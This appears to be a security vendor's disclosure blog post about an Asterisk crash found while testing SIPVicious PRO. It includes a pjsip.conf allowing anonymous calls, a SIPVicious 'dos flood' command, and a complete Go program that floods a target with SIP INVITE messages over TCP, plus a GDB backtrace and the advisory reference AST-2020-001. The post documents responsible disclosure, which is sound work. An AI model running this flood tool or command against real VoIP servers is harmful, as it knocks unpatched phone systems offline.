Executive summary (TL;DR)
While heavily testing SIPVicious PRO for bugs, we encountered an unexpected crash in Asterisk. We reported this to the Asterisk team, who recently issued a fix. If you’re a vendor, you too can beta test SIPVicious PRO!
How the Asterisk crash was found
We test our software as much as we can because, like any other software, ours contains bugs too! When it comes to SIPVicious PRO, one of our quality assurance tests is to run it against instances of Asterisk and Kamailio and check for expected results. Our test suite loads these servers in a docker environment and automatically runs SIPVicious PRO against these targets. During these tests, we look for crashes, race conditions and other unchecked states that we might have failed to address in our own code. We do this through various methods, one of which is to observe exit codes in SIPVicious PRO that indicate the result of the test.
While writing these test scripts, we noticed that one particular test was failing due to an unexpected exit code. Here’s a demonstration:
At first we thought that we had unearthed a new bug in SIPVicious PRO. However, after actually looking at the logs, we realised that the SIP message sending rate had dropped to 0B/s and the exit code returned “disconnection detected”. Could it be that either Asterisk or Kamailio was crashing? After further analysis it transpired that Asterisk was crashing during a SIP INVITE flood over TCP and TLS.
Through pure serendipity, we had found a new crash in Asterisk!
How we reproduced and reported the bug
This crash was being triggered by an authenticated INVITE message. To reproduce this issue more easily, we allowed anonymous incoming calls by using the following configuration lines in pjsip.conf:
[global]
debug=yes
[transport-tcp]
type = transport
protocol = tcp
bind = 0.0.0.0
[anonymous]
type = endpoint
context = anon
allow = all
This functionality is actually used for legitimate reasons, for example, when one wants to configure the PBX to allow incoming external calls from the Internet.
The SIPVicious PRO command that we used to replicate this issue was:
sipvicious sip dos flood tcp://<ip>:5060 --method invite -c 100
We also created a simple golang program that reproduces this issue. Despite being less brutal than the mighty SIPVicious PRO, the tool served its purpose well to demonstrate this issue to the Asterisk team:
package main
import (
"bytes"
"flag"
"fmt"
"math/rand"
"net"
"strconv"
"strings"
"time"
)
const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
func init() {
rand.Seed(time.Now().UnixNano())
}
func randstr(length int) string {
b := make([]byte, length)
for i := range b {
b[i] = charset[rand.Intn(len(charset))]
}
return string(b)
}
type loop struct {
host string
port int
conn net.Conn
invite []byte
cseq int
}
func (l *loop) start() {
sdp := "v=0\r\n"
sdp += "o=- 1598350717 1598350717 IN IP4 192.168.1.112\r\n"
sdp += "s=-\r\n"
sdp += "c=IN IP4 192.168.1.112\r\n"
sdp += "t=0 0\r\n"
sdp += "m=audio 9999 RTP/AVP 0\r\n"
sdp += "a=rtpmap:0 PCMU/8000/1\r\n"
sdp += "a=sendrecv\r\n"
invite := "INVITE sip:5cb49ced@127.0.0.1:5060 SIP/2.0\r\n"
invite += "Via: SIP/2.0/UDP 192.168.1.112:44896;rport;branch=z9hG4bK-_BRANCH_\r\n"
invite += "Max-Forwards: 70\r\n"
invite += "From: <sip:5cb49ced@127.0.0.1:5060>;tag=2k309f\r\n"
invite += "To: <sip:5cb49ced@127.0.0.1:5060>\r\n"
invite += "Call-ID: 2345908ux\r\n"
invite += "CSeq: _CSEQ_ INVITE\r\n"
invite += "Contact: <sip:5cb49ced@192.168.1.112:44896;transport=udp>\r\n"
invite += fmt.Sprintf("Content-Length: %d\r\n", len(sdp))
invite += "Content-Type: application/sdp\r\n"
invite += "\r\n"
invite += sdp
l.invite = []byte(invite)
var err error
l.conn, err = net.DialTimeout("tcp4",
fmt.Sprintf("%s:%d", l.host, l.port),
5*time.Second)
if err != nil {
fmt.Println(err.Error())
time.Sleep(10 * time.Millisecond)
go l.start()
return
}
if l.conn != nil {
l.run()
} else {
time.Sleep(10 * time.Millisecond)
go l.start()
}
}
func (l *loop) run() {
if err := l.conn.SetWriteDeadline(
time.Now().Add(10 * time.Millisecond)); err != nil {
if strings.Contains(err.Error(),
"use of closed network connection") {
l.start()
}
}
var err error
for {
l.cseq++
inv := l.invite
inv = bytes.ReplaceAll(inv,
[]byte("_BRANCH_"),
[]byte(randstr(8)))
inv = bytes.ReplaceAll(inv,
[]byte("_CSEQ_"),
[]byte(strconv.Itoa(l.cseq)))
if _, err = l.conn.Write(inv); err != nil {
go l.start()
return
}
}
}
func main() {
var port = flag.Int("p", 5060, "Port")
var host = flag.String("h", "127.0.0.1", "Host")
flag.Parse()
for i := 0; i < 100; i++ {
go func() {
l := loop{
host: *host,
port: *port,
}
l.start()
}()
}
select {}
}
When debugging using GDB, the following backtrace was being generated:
gdb -ex=run --args /opt/asterisk/sbin/asterisk -fvvvvv
3276 PJ_ASSERT_RETURN((cseq=(pjsip_cseq_hdr*)pjsip_msg_find_hdr(tdata->msg, PJSIP_H_CSEQ, NULL))!=NULL
(gdb) bt
#0 0x00007ffff7df1b80 in
pjsip_inv_send_msg (inv=0x7fffc88aa5a8, tdata=0x7fffa706a6d8)
at ../src/pjsip-ua/sip_inv.c:3276
#1 0x00007ffff4623c41 in
ast_sip_session_send_response (session=0x7fffc88ab9f0, tdata=0x7fffa706a6d8)
at res_pjsip_session.c:1917
#2 0x00007ffff4627b6b in
new_invite (invite=0x7fff94eccb60)
at res_pjsip_session.c:3253
#3 0x00007ffff462815b in
handle_new_invite_request (rdata=0x7fffa61ec608)
at res_pjsip_session.c:3382
#4 0x00007ffff462833d in
session_on_rx_request (rdata=0x7fffa61ec608)
at res_pjsip_session.c:3446
#5 0x00007ffff7e190ec in
pjsip_endpt_process_rx_data (endpt=0x5555559c9d18, rdata=0x7fffa61ec608, p=0x7ffff47c66a0 <param>, p_handled=0x7fff94eccc6c)
at ../src/pjsip/sip_endpoint.c:930
...
This issue was then reported to the Asterisk security team, on the Asterisk bug tracker. The team quickly responded to this issue and a fix and advisory were later published: AST-2020-001. We also released our advisory at the usual location: ES2020-02.
If you haven’t recently updated your Asterisk, it is a good idea to do so. Apply the patch or upgrade as soon as you can!
Conclusion
In this article we have shown how sometimes, when using specialized tools to test certain features of an application, unexpected bugs are uncovered. These flaws were clearly not identified previously by conventional testing methods. In this case, it was during quality assurance testing of the tool itself that we came across this one. But of course, this is not the first time that we have stumbled upon similar bugs in other VoIP solutions during VoIP penetration tests while simulating denial of service attacks.
Here are some take away points that we think are relevant to fellow testers:
- Do not skip the basic tests, never assume that rudimentary functionality has been thoroughly tested
- When reporting an issue, provide a script that reproduces the issue easily and well
- If you are a VoIP vendor, note that we are looking for beta testers for SIPVicious PRO
